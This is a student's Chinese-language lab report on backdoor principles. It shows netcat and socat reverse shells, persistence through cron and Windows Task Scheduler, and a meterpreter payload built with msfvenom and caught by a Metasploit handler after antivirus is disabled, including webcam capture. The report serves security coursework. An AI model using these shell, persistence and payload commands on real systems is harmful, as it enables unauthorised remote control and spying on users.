20155223 Exp2 后门原理与实践

20155223 Exp2 后门原理与实践

实验预热

一、windows获取Linux shell

Windows：使用 ipconfig 命令查看当前机器IP地址。

进入ncat所在文件地址，输入命令：ncat.exe -l -p 5223。

Linux：在命令行终端输入命令：nc windows主机的IP地址 5223 -e /bin/sh。-e反向连接Windows。

一个回车之后，反向链接建立成功。输入个ls，然后收到一堆乱码，后确认是汉字无法被Windows命令终端识别。

二、Linux获得Windows Shell

在Linux终端输入命令ifconfig查看虚拟机Linux的IP号。
然后输入命令nc -l -p 5223让虚拟机开始监听指定端口5223。

在Windows命令行终端输入命令ncat.exe -e cmd.exe Linux的IP 5223，让Windows准备监听端口5223。

Linux获得Windows的相关信息，乱码是不可识别的中文。

三、使用netcat获取主机操作Shell，cron启动

Windows终端输入命令ncat.exe -l -p 5223开始监听端口5223。
Linux终端驶入命令crontab -e，选择基础型vim编写定时任务。在最后一行输入任意小于60的数字 * * * * /bin/netcat Windows的IP 5223 -e /bin/sh 。

然后就等待到时启动。

四、使用socat获取主机操作Shell, 任务计划启动

下载并解压socat
windows：打开控制面板->管理工具->任务计划程序，创建任务，填写任务名称后，新建一个触发器。
在操作->程序或脚本中选择你的socat.exe文件的路径，在添加参数一栏填写tcp-listen:5223 exec:cmd.exe,pty,stderr，这个命令的作用是把cmd.exe绑定到相应端口，同时把cmd.exe的stderr重定向到stdout上。

Linux：输入指令socat - tcp:windows_IP:5223

正式实验

使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell

关闭所有杀毒软件。
在Linux命令行终端输入命令：msfvenom -p windows/meterpreter/reverse_tcp LHOST=Linux的IP LPORT=5223 -f exe > 20155223_backdoor.exe建立后门程序。

借用已经建立好的Ncat通道传输后台程序到Windows上。

在Kali上使用msfconsole指令进入msf控制台，使用监听模块，设置payload，设置反弹回连的IP和端口。

输入以下命令：

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST Linux的IP
set LPORT 5223
show options

再输入exploit开始监听。

Windows：命令行打开后台程序。

后台打开成功，开始乱搞。

以及一个可以延时启动的摄像头抓拍。

基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式？

从奇奇怪怪的网址里下东西还不杀毒检查。

(2)例举你知道的后门如何启动起来(win及linux)的方式？

一些伪装成无害应用程序的后门混入系统当中。

(3)Meterpreter有哪些给你映像深刻的功能？

这玩意能启动摄象头！

(4)如何发现自己有系统有没有被安装后门？

检查操作系统的主机日志，这样可以找出一些不会修改日志文件的后门程序。
想找出会修改日志文件的后门，就必须借助抓包工具，若有奇怪的目的IP，那肯定就是有后门。

实验总结与体会

我突然觉得我是全裸在我自己的电脑面前。